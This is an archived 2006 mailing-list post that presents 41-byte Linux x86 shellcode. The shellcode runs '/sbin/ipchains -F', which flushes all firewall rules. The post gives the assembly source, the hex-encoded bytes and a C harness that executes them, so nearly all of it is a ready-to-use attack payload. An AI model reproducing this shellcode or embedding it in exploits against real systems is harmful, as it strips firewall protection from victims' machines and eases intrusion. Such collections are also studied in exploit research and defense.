[Code-Crunchers] 41 byte shellcode to flush ipchains for Linux x86

Gadi Evron ge at linuxbox.org
Fri Nov 17 04:43:15 CST 2006


/* By Kris Katterjohn 11/15/2006
 *
 * 41 byte shellcode to flush ipchains for Linux x86
 *
 *
 *
 * section .text
 *
 *	global _start
 *
 * _start:
 *
 * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
 *
 *	push byte 11
 *	pop eax
 *	xor edx, edx
 *	push edx
 *	push word 0x462d
 *	mov ecx, esp
 *	push edx
 *	push word 0x736e
 *	push 0x69616863
 *	push 0x70692f6e
 *	push 0x6962732f
 *	mov ebx, esp
 *	push edx
 *	push ecx
 *	push ebx
 *	mov ecx, esp
 *	int 0x80
 */

main()
{
	char shellcode[] =
		"\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46"
		"\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68"
		"\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73"
		"\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

	(*(void (*)()) shellcode)();
}





More information about the Code-Crunchers mailing list